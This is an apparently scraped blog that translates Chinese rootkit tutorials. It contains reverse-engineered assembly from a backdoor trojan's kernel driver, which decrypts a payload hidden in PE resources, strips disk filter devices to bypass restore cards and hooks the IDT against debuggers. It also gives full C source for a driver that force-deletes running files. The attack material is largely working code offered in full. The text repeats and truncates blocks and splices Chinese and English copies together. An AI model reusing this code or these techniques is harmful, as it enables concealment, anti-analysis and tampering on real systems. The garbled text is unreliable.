xor eax, eax
mov RetValue, eax
mov esi, ChildResource
mov cx, [esi+0Ch];Be named after entry count
add cx, [esi+0Eh];Entry count To ID named
movzx ecx, cx
add esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY
cmp ecx, 0
jbe Quit
mov ebx, [esi+4] ;offsetToData directory entry pointer
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;ebx point IMAGE_RESOURCE_DATA_ENTRY structure
mov eax, [ebx] ; Take out RVA of resource data, amount to first term of IMAGE_RESOURCE_DATA_ENTRY structure
add eax, PEHeader
mov ecx, pOutValue ;pOutValue point address of resource data
mov [ecx], eax
mov ecx, [ebx+4]
mov RetValue, ecx ;Return resource data length
Quit:
popa
mov eax, RetValue
retn
SearchResourceByIDInThirdLayer endp
;************************************************************************
; Find resource term for ID named after ChildResID on second stage resource
;************************************************************************
SearchResourceByIDInSecondLayer proc PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dword
LOCAL RetValue:dword
pusha
xor eax, eax
mov RetValue, eax
mov esi, ChildResource
mov cx, [esi+0Ch] ;Be named after entry count
add cx, [esi+0Eh] ;Entry count To ID named
movzx ecx, cx
add esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY
jmp StartSearchChildDirectoryEntry
ContinueSearchChildDirectoryEntry:
push ecx
mov ebx, [esi+4] ;offsetToData directory entry pointer
test ebx, 80000000h
jz JumpOver ;; If highest 31bit is zero, Skip to continue next directory entry.
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;Otherwise take out next address
mov edx, [esi] ;Take out string pointer or ID of directory entry
test edx, 80000000h
jnz JumpOver ;If highest 31bit is 1,[esi] oow order represent string pointer
cmp edx, ChildResID
jnz JumpOver
push pOutValue
push ebx
push ResourceAddr
push PEHeader
call SearchResourceByIDInThirdLayer
mov RetValue, eax
or eax, eax
jz JumpOver
pop ecx
jmp Quit
JumpOver:
add esi, 8
pop ecx
dec ecx
StartSearchChildDirectoryEntry:
cmp ecx, 0
ja ContinueSearchChildDirectoryEntry
Quit:
popa
mov eax, RetValue
retn
SearchResourceByIDInSecondLayer endp
;******************************************************************************************
; Find resource term for ID named after RESOURCEID on first stage resource
;******************************************************************************************
SearchResourceByIDInFirstLayer proc PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dword
LOCAL retvalue:dword
LOCAL ResourceAddr:dword
pusha
xor eax, eax
mov retvalue, eax
mov edi, PEHeader
mov edi, [edi+3Ch]
add edi, PEHeader
mov ecx, [edi+8Ch] ;Resource table size
or ecx, ecx
jz QUIT
mov eax, [edi+88h] ;Resource table RVA
add eax, PEHeader
mov ResourceAddr, eax
push eax ; VirtualAddress
call MmIsAddressValid
or eax, eax
jnz @F
jmp QUIT
@@:
mov esi, ResourceAddr
mov cx, [esi+0Ch];Be named after entry count
add cx, [esi+0Eh];Entry count To ID named
movzx ecx, cx
add esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY
jmp StartSearchDirectoryEntry
ContinueSearchDirectoryEntry:
push ecx
mov ebx, [esi+4] ;offsetToData directory entry pointer
test ebx, 80000000h
jz JumpOver ; If highest 31bit is zero, Skip to continue next directory entry.
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;Save next address
mov eax, [esi];Take directory string pointer or ID
test eax, 80000000h
jnz JumpOver ;If highest 31bit is 1,[esi] oow order represent string pointer
cmp eax, RESOURCEID
jnz JumpOver
push pOutValue ;Find matched resource ID
push ChildResID
push ebx
push ResourceAddr
push PEHeader
call SearchResourceByIDInSecondLayer
mov retvalue, eax
pop ecx
jmp QUIT
JumpOver:
add esi, 8 ;Continue read next directory entry
pop ecx
dec ecx
StartSearchDirectoryEntry:
cmp ecx, 0 ;Judge directory entry whether ergodic finish
ja ContinueSearchDirectoryEntry
QUIT:
popa
mov eax, retvalue
retn
SearchResourceByIDInFirstLayer endp
; ************************************************************************
; Get memory load place of current driver file, if can't find, Return zero
;*************************************************************************
GetPeHeader proc near
LOCAL PEStart:dword
pusha
mov PEStart, 0
CURRENT_EIP:
lea ebx, CURRENT_EIP
and ebx, 0FFFFFC00h ; Low bit zero clearing
CHECKPEHEADER: ; VirtualAddress
push ebx
call MmIsAddressValid ;Judge current address whether valid
or eax, eax
jz QUIT ;unsuccess is jumped to exit
cmp ebx, 80000000h ;If current eip less than or equal to 80000000h, exit
jbe QUIT
cmp word ptr [ebx], 5A4Dh ; 'MZ'
jnz SEARCHDOSHEADER
mov edi, ebx
add edi, [ebx+3Ch]
push edi ; VirtualAddress
call MmIsAddressValid
or eax, eax
jz SEARCHPEHEADER
cmp word ptr [edi], 4550h ;'PE'
jnz SEARCHPEHEADER
mov PEStart, ebx
jmp QUIT
SEARCHPEHEADER:
sub ebx, 400h
jmp CHECKPEHEADER
jmp QUIT
SEARCHDOSHEADER:
sub ebx, 400h
jmp CHECKPEHEADER
QUIT:
popa
mov eax, PEStart
retn
GetPeHeader endp
; Take out resource imformation on third stage resource, if succeed, Return to take out resource length
;************************************************************************
SearchResourceByIDInThirdLayer proc PEHeader:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dword
LOCAL RetValue:dword
pusha
xor eax, eax
mov RetValue, eax
mov esi, ChildResource
mov cx, [esi+0Ch];Be named after entry count
add cx, [esi+0Eh];Entry count To ID named
movzx ecx, cx
add esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY
cmp ecx, 0
jbe Quit
mov ebx, [esi+4] ;offsetToData directory entry pointer
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;ebx point IMAGE_RESOURCE_DATA_ENTRY structure
mov eax, [ebx] ; Take out RVA of resource data, amount to first term of IMAGE_RESOURCE_DATA_ENTRY structure
add eax, PEHeader
mov ecx, pOutValue ;pOutValue point address of resource data
mov [ecx], eax
mov ecx, [ebx+4]
mov RetValue, ecx ;Return resource data length
Quit:
popa
mov eax, RetValue
retn
SearchResourceByIDInThirdLayer endp
;************************************************************************
; Find resource term for ID named after ChildResID on second stage resource
;************************************************************************
SearchResourceByIDInSecondLayer proc PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dword
LOCAL RetValue:dword
pusha
xor eax, eax
mov RetValue, eax
mov esi, ChildResource
mov cx, [esi+0Ch] ;Be named after entry count
add cx, [esi+0Eh] ;Entry count To ID named
movzx ecx, cx
add esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY
jmp StartSearchChildDirectoryEntry
ContinueSearchChildDirectoryEntry:
push ecx
mov ebx, [esi+4] ;offsetToData directory entry pointer
test ebx, 80000000h
jz JumpOver ;; If highest 31bit is zero, Skip to continue next directory entry.
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;Otherwise take out next address
mov edx, [esi] ;Take out string pointer or ID of directory entry
test edx, 80000000h
jnz JumpOver ;If highest 31bit is 1,[esi] oow order represent string pointer
cmp edx, ChildResID
jnz JumpOver
push pOutValue
push ebx
push ResourceAddr
push PEHeader
call SearchResourceByIDInThirdLayer
mov RetValue, eax
or eax, eax
jz JumpOver
pop ecx
jmp Quit
JumpOver:
add esi, 8
pop ecx
dec ecx
StartSearchChildDirectoryEntry:
cmp ecx, 0
ja ContinueSearchChildDirectoryEntry
Quit:
popa
mov eax, RetValue
retn
SearchResourceByIDInSecondLayer endp
;******************************************************************************************
; Find resource term for ID named after RESOURCEID on first stage resource
;******************************************************************************************
SearchResourceByIDInFirstLayer proc PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dword
LOCAL retvalue:dword
LOCAL ResourceAddr:dword
pusha
xor eax, eax
mov retvalue, eax
mov edi, PEHeader
mov edi, [edi+3Ch]
add edi, PEHeader
mov ecx, [edi+8Ch] ;Resource table size
or ecx, ecx
jz QUIT
mov eax, [edi+88h] ;Resource table RVA
add eax, PEHeader
mov ResourceAddr, eax
push eax ; VirtualAddress
call MmIsAddressValid
or eax, eax
jnz @F
jmp QUIT
@@:
mov esi, ResourceAddr
mov cx, [esi+0Ch];Be named after entry count
add cx, [esi+0Eh];Entry count To ID named
movzx ecx, cx
add esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY
jmp StartSearchDirectoryEntry
ContinueSearchDirectoryEntry:
push ecx
mov ebx, [esi+4] ;offsetToData directory entry pointer
test ebx, 80000000h
jz JumpOver ; If highest 31bit is zero, Skip to continue next directory entry.
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;Save next address
mov eax, [esi];Take directory string pointer or ID
test eax, 80000000h
jnz JumpOver ;If highest 31bit is 1,[esi] oow order represent string pointer
cmp eax, RESOURCEID
jnz JumpOver
push pOutValue ;Find matched resource ID
push ChildResID
push ebx
push ResourceAddr
push PEHeader
call SearchResourceByIDInSecondLayer
mov retvalue, eax
pop ecx
jmp QUIT
JumpOver:
add esi, 8 ;Continue read next directory entry
pop ecx
dec ecx
StartSearchDirectoryEntry:
cmp ecx, 0 ;Judge directory entry whether ergodic finish
ja ContinueSearchDirectoryEntry
QUIT:
popa
mov eax, retvalue
retn
SearchResourceByIDInFirstLayer endp
; ************************************************************************
; Get memory load place of current driver file, if can't find, Return zero
;*************************************************************************
GetPeHeader proc near
LOCAL PEStart:dword
pusha
mov PEStart, 0
CURRENT_EIP:
lea ebx, CURRENT_EIP
and ebx, 0FFFFFC00h ; Low bit zero clearing
CHECKPEHEADER: ; VirtualAddress
push ebx
call MmIsAddressValid ;Judge current address whether valid
or eax, eax
jz QUIT ;unsuccess is jumped to exit
cmp ebx, 80000000h ;If current eip less than or equal to 80000000h, exit
jbe QUIT
cmp word ptr [ebx], 5A4Dh ; 'MZ'
jnz SEARCHDOSHEADER
mov edi, ebx
add edi, [ebx+3Ch]
push edi ; VirtualAddress
call MmIsAddressValid
or eax, eax
jz SEARCHPEHEADER
cmp word ptr [edi], 4550h ;'PE'
jnz SEARCHPEHEADER
mov PEStart, ebx
jmp QUIT
SEARCHPEHEADER:
sub ebx, 400h
jmp CHECKPEHEADER
jmp QUIT
SEARCHDOSHEADER:
sub ebx, 400h
jmp CHECKPEHEADER
QUIT:
popa
mov eax, PEStart
retn
GetPeHeader endp
Tuesday, October 4, 2011
Learn and study Rootkit Specials 2: kernel hook - object hook(1)
Author:combojiang
Today will begin practical rootkit. The article talk object hook.
The article root in Backdoor Tyojan code of reverse, I only post applied part some time ago, I am not post kernel part for don't used in. But if learn, There is use rootkit that is superduper example to learn. So I use it to first learn rootkit. I hope to don't use code to other.
The article root in Backdoor Tyojan code of reverse, I only post applied part some time ago, I am not post kernel part for don't used in. But if learn, There is use rootkit that is superduper example to learn. So I use it to first learn rootkit. I hope to don't use code to other.
To the rootkit, Break restore is a part of function, Wonderful part isn't here, but imformation encryption and hide and anti-debugger oneself. After Reverse analyse, Author is good bitterness work hard, If the code use in the right direction, Will benefit many people......
First hide imformation bright spot: Rootkit as an resource hide on program of user module.
Second hide imformation bright spot: The user program code as an preface of generate secret key, That can effectively prevent after reverse, imformation of hide is flawed, Because only after reverse to generate code is full same original author code, Do this can open deep hide link of downloader and code.
Third hide imformation bright spot: Use a fixed key, Generate array by 1024 secret key component, Then use the secret key array operate with user code, finaly generate 4 bytes decode key.
Use decode key, find to hide dirty bad thing on its resourse form driver of load to memory. and finaly full clear trace.
Four hide imformation bright spot: Modify idt 0e mark break, let it point a invalid address to BSOD when debug, Do this can anti-debug.
These bright spot only is on rootkit, As an part of user code have many bright spot, Because already post the code some time ago, Everyone refer to finde its bright spot. OK, joking apart.
Principle of break through restore card: Use object hook on here.
1. IRP_MJ_CREATE routine is used to get disc disk device object, Call IoGetDeviceObjectPointer function to get "\\Device\\Harddisk0\\DR0" - the name of device object, and detect device whether have other device articulated, If have to save the device and wipe off the articulated.
2. Recover addition of DR0 on IRP_MJ_CLOSE, Do this must come and go without a trace.
Ok, Let us watch reverse code:
.386
.model flat, stdcall
option casemap:none
include pcihdd.inc
.data
aDevicePhysical db '\Device\PhysicalHardDisk0',0
aDosdevicesPhys db '\DosDevices\PhysicalHardDisk0',0
SourceString db '\Device\Harddisk0\DR0',0
g_DeviceObject dd 0
g_AttachedDevice dd 0
DecodeKey dd 1024 dup (0)
DecodeKEY dd 0
P dd 0
NumberOfBytes dd 0
IDTData db 6 dup(0)
Format db '%08X',0
.code
;*******************************************************************************
; Generate a decode secret key array
;*******************************************************************************
CreateDecodeKey proc
jmp short $+2 ;junk instruction
mov ecx, 100h
mov edx, 0CCECC9B1h ;KEY
OutLoop:
lea eax, [ecx-1]
push ecx
mov ecx, 8
InLoop:
shr eax, 1
jnb ContinueLoop
xor eax, edx
ContinueLoop:
dec ecx
jnz InLoop
pop ecx
mov DecodeKey[ecx*4], eax ;Save decode secret key array
dec ecx
jnz OutLoop
retn
CreateDecodeKey endp
;*****************************************************************************
; Use mode import full code operate with above generation decode secret key, finaly generate decode key
; Decode key will be used to decode content of driver resource, After decode Resource feed back to user .(Watch start)
;*****************************************************************************
DecodeInputData proc near
jmp short $+2 ;junk instruction
mov eax, 0FFFFFFFFh
or ebx, ebx ;Judge IRP.AssociatedIrp.SystemBuffer whether is null
jz Quit
@@:
mov dl, [ebx]
xor dl, al
movzx edx, dl
shr eax, 8
xor eax, DecodeKey[edx*4]
inc ebx
dec ecx
jnz @B
Quit:
not eax
retn
DecodeInputData endp
.model flat, stdcall
option casemap:none
include pcihdd.inc
.data
aDevicePhysical db '\Device\PhysicalHardDisk0',0
aDosdevicesPhys db '\DosDevices\PhysicalHardDisk0',0
SourceString db '\Device\Harddisk0\DR0',0
g_DeviceObject dd 0
g_AttachedDevice dd 0
DecodeKey dd 1024 dup (0)
DecodeKEY dd 0
P dd 0
NumberOfBytes dd 0
IDTData db 6 dup(0)
Format db '%08X',0
.code
;*******************************************************************************
; Generate a decode secret key array
;*******************************************************************************
CreateDecodeKey proc
jmp short $+2 ;junk instruction
mov ecx, 100h
mov edx, 0CCECC9B1h ;KEY
OutLoop:
lea eax, [ecx-1]
push ecx
mov ecx, 8
InLoop:
shr eax, 1
jnb ContinueLoop
xor eax, edx
ContinueLoop:
dec ecx
jnz InLoop
pop ecx
mov DecodeKey[ecx*4], eax ;Save decode secret key array
dec ecx
jnz OutLoop
retn
CreateDecodeKey endp
;*****************************************************************************
; Use mode import full code operate with above generation decode secret key, finaly generate decode key
; Decode key will be used to decode content of driver resource, After decode Resource feed back to user .(Watch start)
;*****************************************************************************
DecodeInputData proc near
jmp short $+2 ;junk instruction
mov eax, 0FFFFFFFFh
or ebx, ebx ;Judge IRP.AssociatedIrp.SystemBuffer whether is null
jz Quit
@@:
mov dl, [ebx]
xor dl, al
movzx edx, dl
shr eax, 8
xor eax, DecodeKey[edx*4]
inc ebx
dec ecx
jnz @B
Quit:
not eax
retn
DecodeInputData endp
Monday, October 3, 2011
Learn and study Rootkit Specials 1: Content
Author:combojiang
What is rootkit? A great many friends don't know, Simply put, Rootkit is a peculiar malware. It hide oneself or specified file/process or network links etc imformations on be installed aim, Usual rootkit is used with trojan/back door etc malware. Rootkit through to load special drive, modify system kernel for hide imformation. Technology is rapier, We study it to aim at use the technology to protect our system, let our system can better strong.To study of rootkit specials, main invole:
1.Kernel hook
About hook, ring3 to ring0 has many method, Depending on tache go forward one by one order that api is called, Every tache both have hook opportunity. May be int 2e or sysenter hook, ssdt hook, inline hook, irp hook, object hook, idt hook. here, We will one by one introduce.
1)object hook
2)ssdt hook
3)inline-hook
4)idt hook
5)IRP hook
6)SYSENTER hook
7)IAT HOOK
8)EAT HOOK
2. Part first Protected mode: ring3 to ring0 gate
1)Through Call gate access kernel
2)Through Interrupt gate access kernel
3)Through Task gate access kernel
4)Through Trap gate access kernel
3。Part two Protected mode: windows Paging machine made
1)windows Paging machine made
4。Part third Protected mode: Immediate access hardware
1)Modify iopl,ring3 immediate access hardware
2)Add to default I/O allow bitmap range of tss
3)ChangeI/O allow bitmap pointer of tss
5。detour modify path of function exe, Be used to control function flow for reset path.
1)detour patch
6. Concealed body art
1)Hide file
2)Hide process
3)Hide registry key value
4)Hide driver
5)Hide process's dll module
6)Strong hide process's dll module, bypass IceSword detect
7)Hide port
7。Call ring3 program on ring0
1) apc way
2) deviceiocontrol way
8。Monitor process's thread
1)Monitor process to create
2)Kill thread
3)Protect process and shield file to execute
9。Other
1)Some method Get address of ntoskrnl.exe module模块地址的几种办法
2)Driver infection technology popularize
3)shadow ssdt learn note
4)Past master advanced windows kernel timer one
5)Past master advanced windows kernel timer two
6)Running modify path of executable file and Command Line
7)Find hide driver
8)Some method load driver
9)A rogue method Inject dll on kernel
10)Another method read and write memory
11)Full driver infect code
12)Hook Shadow SSDT
13)ring0 detection hide process
Sunday, October 2, 2011
Will translate tutorial of chinese rootkit
Will translate tutorial of chinese rootkit tomorrow. The tutorial is good for you and me by chinese past master worte. Because work every day, Will slow Translate articles. My english is not good,but I wish you read to know and join all
comments
If you like its, please talk with me, Thanks!
If you like its, please talk with me, Thanks!
Saturday, October 1, 2011
Learn to force delete running file
Author:yaolibing
Force delete file, Create IRP oneself in fact, Then send IRP for ntfs.sys, First set attribute of file, after delete file. When delete file, get routine dispatch of ntfs.sys, in turn entry NtfsSetDispositionInfo->MmFlushImageSection. MmFlushImageSection() will check SECTION_OBJECT_POINter structure of the file object,Check whether null, i.e check the file run, if not, return TRUE. So if want to delete running file, A method, can set variable of SECTION_OBJECT_POINter structure to 0. MmFlushImageSection() return TRUE,mean can delete. Another method can use MmFlushImageSection() - hook ntfs.sys import function, Check whether is deleted file on hook function, If yes, return True. Next is full code
#include <ntddk.h>
#define NT_DEVICE_NAME L"\\Device\\SuperKill"
#define DOS_DEVICE_NAME L"\\DosDevices\\SuperKill"
VOID
SKillUnloadDriver(
IN PDRIVER_OBJECT DriverObject
)
{
PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
UNICODE_STRING uniSymLink;
RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&uniSymLink);
IoDeleteDevice(deviceObject);
}
HANDLE
SkillIoOpenFile(
IN PCWSTR FileName,
IN ACCESS_MASK DesiredAccess,
IN ULONG ShareAccess
)
{
NTSTATUS ntStatus;
UNICODE_STRING uniFileName;
OBJECT_ATTRIBUTES objectAttributes;
HANDLE ntFileHandle;
IO_STATUS_BLOCK ioStatus;
if (KeGetCurrentIrql() > PASSIVE_LEVEL)
{
return 0;
}
RtlInitUnicodeString(&uniFileName, FileName);
InitializeObjectAttributes(&objectAttributes, &uniFileName,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
ntStatus = IoCreateFile(&ntFileHandle,
DesiredAccess,
&objectAttributes,
&ioStatus,
0,
FILE_ATTRIBUTE_NORMAL,
ShareAccess,
FILE_OPEN,
0,
NULL,
0,
0,
NULL,
IO_NO_PARAMETER_CHECKING);
if (!NT_SUCCESS(ntStatus))
{
return 0;
}
return ntFileHandle;
}
NTSTATUS
SkillSetFileCompletion(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
Irp->UserIosb->Status = Irp->IoStatus.Status;
Irp->UserIosb->Information = Irp->IoStatus.Information;
KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);
IoFreeIrp(Irp);
return STATUS_MORE_PROCESSING_REQUIRED;
}
BOOLEAN
SKillStripFileAttributes(
IN HANDLE FileHandle
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PFILE_OBJECT fileObject;
PDEVICE_OBJECT DeviceObject;
PIRP Irp;
KEVENT event1;
FILE_BASIC_INFORMATION FileInformation;
IO_STATUS_BLOCK ioStatus;
PIO_STACK_LOCATION irpSp;
ntStatus = ObReferenceObjectByHandle(FileHandle,
DELETE,
*IoFileObjectType,
KernelMode,
&fileObject,
NULL);//I want to the file handle on where process's handle table
if (!NT_SUCCESS(ntStatus))
{
return FALSE;
}
DeviceObject = IoGetRelatedDeviceObject(fileObject);
Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);
if (Irp == NULL)
{
ObDereferenceObject(fileObject);
return FALSE;
}
KeInitializeEvent(&event1, SynchronizationEvent, FALSE);
memset(&FileInformation,0,0x28);
FileInformation.FileAttributes = FILE_ATTRIBUTE_NORMAL;
Irp->AssociatedIrp.SystemBuffer = &FileInformation;
Irp->UserEvent = &event1;
Irp->UserIosb = &ioStatus;
Irp->Tail.Overlay.OriginalFileObject = fileObject;
Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
Irp->RequestorMode = KernelMode;
irpSp = IoGetNextIrpStackLocation(Irp);
irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
irpSp->DeviceObject = DeviceObject;
irpSp->FileObject = fileObject;
irpSp->Parameters.SetFile.Length = sizeof(FILE_BASIC_INFORMATION);
irpSp->Parameters.SetFile.FileInformationClass = FileBasicInformation;
irpSp->Parameters.SetFile.FileObject = fileObject;
IoSetCompletionRoutine(
Irp,
SkillSetFileCompletion,
&event1,
TRUE,
TRUE,
TRUE);
IoCallDriver(DeviceObject, Irp);//Call the device object, and IO_STACK_LOCATION will point next
//如果没有文件系统驱动建立的设备对象没有Attacked的话,就调用文件系统驱动的IRP_MJ_SET_INFORMATION分派例程
//会调用NTFS.sys驱动的NtfsFsdSetInformation例程,再会进入NtfsSetBasicInfo()函数,最后它会设置代表此文件的FCB(文件
//控制块结构的一些信息,用来设置代表此文件的属性。最后不知道在哪里会调用IoCompleteRequest,它会依次调用先前设置的回调函数
//回调函数会释放刚分配的IRP和设置事件对象为受信状态。
KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);//一等到事件对象变成受信状态就会继续向下执行。
ObDereferenceObject(fileObject);
return TRUE;
}
BOOLEAN
SKillDeleteFile(
IN HANDLE FileHandle
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PFILE_OBJECT fileObject;
PDEVICE_OBJECT DeviceObject;
PIRP Irp;
KEVENT event1;
FILE_DISPOSITION_INFORMATION FileInformation;
IO_STATUS_BLOCK ioStatus;
PIO_STACK_LOCATION irpSp;
PSECTION_OBJECT_POINTERS pSectionObjectPointer; ////////////////////
SKillStripFileAttributes( FileHandle); //
ntStatus = ObReferenceObjectByHandle(FileHandle,
DELETE,
*IoFileObjectType,
KernelMode,
&fileObject,
NULL);
if (!NT_SUCCESS(ntStatus))
{
return FALSE;
}
DeviceObject = IoGetRelatedDeviceObject(fileObject);//如果NTFS.sys驱动建立的设备对象上没有附加的设备对象的话,就返回NTFS.sys建立的设备对象
//否则返回的是这个设备对象的highest level设备对象。
Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);//如果没有附加,StackSize为7
if (Irp == NULL)
{
ObDereferenceObject(fileObject);
return FALSE;
}
KeInitializeEvent(&event1, SynchronizationEvent, FALSE);
FileInformation.DeleteFile = TRUE;
Irp->AssociatedIrp.SystemBuffer = &FileInformation;
Irp->UserEvent = &event1;
Irp->UserIosb = &ioStatus;
Irp->Tail.Overlay.OriginalFileObject = fileObject;
Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
Irp->RequestorMode = KernelMode;
irpSp = IoGetNextIrpStackLocation(Irp); //得到文件系统NTFS.sys驱动的设备IO_STACK_LOCATION
irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
irpSp->DeviceObject = DeviceObject;
irpSp->FileObject = fileObject;
irpSp->Parameters.SetFile.Length = sizeof(FILE_DISPOSITION_INFORMATION);
irpSp->Parameters.SetFile.FileInformationClass = FileDispositionInformation;
irpSp->Parameters.SetFile.FileObject = fileObject;
IoSetCompletionRoutine(
Irp,
SkillSetFileCompletion,
&event1,
TRUE,
TRUE,
TRUE);
//再加上下面这三行代码 ,MmFlushImageSection 函数通过这个结构来检查是否可以删除文件。
pSectionObjectPointer = fileObject->SectionObjectPointer;
pSectionObjectPointer->ImageSectionObject = 0;
pSectionObjectPointer->DataSectionObject = 0;
IoCallDriver(DeviceObject, Irp);//这里会依次进入NTFS.sys驱动的NtfsFsdSetInformation例程->NtfsSetDispositionInfo()->MmFlushImageSection(),
//MmFlushImageSection()这函数是用来检查FILE_OBJECT对象的SECTION_OBJECT_POINTER结构的变量,检查这个文件
//在内存有没有被映射。也就是有没有执行。如果上面那样设置了,也就是说文件可以删除了。我们也可以HOOK NTFS.sys导入表中的
//的MmFlushImageSection(),来检查这个文件对象是不是我们要删除 的,是的话,返回TRUE就行了。
KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);
ObDereferenceObject(fileObject);
return TRUE;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
UNICODE_STRING uniDeviceName;
UNICODE_STRING uniSymLink;
NTSTATUS ntStatus;
PDEVICE_OBJECT deviceObject = NULL;
HANDLE hFileHandle;
RtlInitUnicodeString(&uniDeviceName, NT_DEVICE_NAME);
RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
ntStatus = IoCreateDevice(
DriverObject,
0x100u,
&uniDeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
TRUE,
&deviceObject);
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
ntStatus = IoCreateSymbolicLink(&uniSymLink, &uniDeviceName);
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice(deviceObject);
return ntStatus;
}
DriverObject->DriverUnload = SKillUnloadDriver;
//
// 重点在这
//
hFileHandle = SkillIoOpenFile(L"\\Device\\HarddiskVolume1\\test.exe",
FILE_READ_ATTRIBUTES,
FILE_SHARE_DELETE); //得到文件句柄
if (hFileHandle!=NULL)
{
SKillDeleteFile(hFileHandle);
ZwClose(hFileHandle);
}
return STATUS_SUCCESS;
} 表示能删除。另一种方法是HOOK NTFS.sys的导入表中的MmFlushImageSection()函数,在HOOK函数中检查是不是我们要删除的文件,是的话直接返回TRUE也行。下面是完整代码
#include <ntddk.h>
#define NT_DEVICE_NAME L"\\Device\\SuperKill"
#define DOS_DEVICE_NAME L"\\DosDevices\\SuperKill"
VOID
SKillUnloadDriver(
IN PDRIVER_OBJECT DriverObject
)
{
PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
UNICODE_STRING uniSymLink;
RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&uniSymLink);
IoDeleteDevice(deviceObject);
}
HANDLE
SkillIoOpenFile(
IN PCWSTR FileName,
IN ACCESS_MASK DesiredAccess,
IN ULONG ShareAccess
)
{
NTSTATUS ntStatus;
UNICODE_STRING uniFileName;
OBJECT_ATTRIBUTES objectAttributes;
HANDLE ntFileHandle;
IO_STATUS_BLOCK ioStatus;
if (KeGetCurrentIrql() > PASSIVE_LEVEL)
{
return 0;
}
RtlInitUnicodeString(&uniFileName, FileName);
InitializeObjectAttributes(&objectAttributes, &uniFileName,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
ntStatus = IoCreateFile(&ntFileHandle,
DesiredAccess,
&objectAttributes,
&ioStatus,
0,
FILE_ATTRIBUTE_NORMAL,
ShareAccess,
FILE_OPEN,
0,
NULL,
0,
0,
NULL,
IO_NO_PARAMETER_CHECKING);
if (!NT_SUCCESS(ntStatus))
{
return 0;
}
return ntFileHandle;
}
NTSTATUS
SkillSetFileCompletion(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
Irp->UserIosb->Status = Irp->IoStatus.Status;
Irp->UserIosb->Information = Irp->IoStatus.Information;
KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);
IoFreeIrp(Irp);
return STATUS_MORE_PROCESSING_REQUIRED;
}
BOOLEAN
SKillStripFileAttributes(
IN HANDLE FileHandle
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PFILE_OBJECT fileObject;
PDEVICE_OBJECT DeviceObject;
PIRP Irp;
KEVENT event1;
FILE_BASIC_INFORMATION FileInformation;
IO_STATUS_BLOCK ioStatus;
PIO_STACK_LOCATION irpSp;
ntStatus = ObReferenceObjectByHandle(FileHandle,
DELETE,
*IoFileObjectType,
KernelMode,
&fileObject,
NULL);//我想知道的是这个文件句柄是在哪个进程的句柄表中
if (!NT_SUCCESS(ntStatus))
{
return FALSE;
}
DeviceObject = IoGetRelatedDeviceObject(fileObject);
Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);
if (Irp == NULL)
{
ObDereferenceObject(fileObject);
return FALSE;
}
KeInitializeEvent(&event1, SynchronizationEvent, FALSE);
memset(&FileInformation,0,0x28);
FileInformation.FileAttributes = FILE_ATTRIBUTE_NORMAL;
Irp->AssociatedIrp.SystemBuffer = &FileInformation;
Irp->UserEvent = &event1;
Irp->UserIosb = &ioStatus;
Irp->Tail.Overlay.OriginalFileObject = fileObject;
Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
Irp->RequestorMode = KernelMode;
irpSp = IoGetNextIrpStackLocation(Irp);
irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
irpSp->DeviceObject = DeviceObject;
irpSp->FileObject = fileObject;
irpSp->Parameters.SetFile.Length = sizeof(FILE_BASIC_INFORMATION);
irpSp->Parameters.SetFile.FileInformationClass = FileBasicInformation;
irpSp->Parameters.SetFile.FileObject = fileObject;
IoSetCompletionRoutine(
Irp,
SkillSetFileCompletion,
&event1,
TRUE,
TRUE,
TRUE);
IoCallDriver(DeviceObject, Irp);//调用这个设备对象的驱动对象,并且IO_StACK_LOCAtion会指向下一个,也就是刚刚设置的
//如果没有文件系统驱动建立的设备对象没有Attacked的话,就调用文件系统驱动的IRP_MJ_SET_INFORMATION分派例程
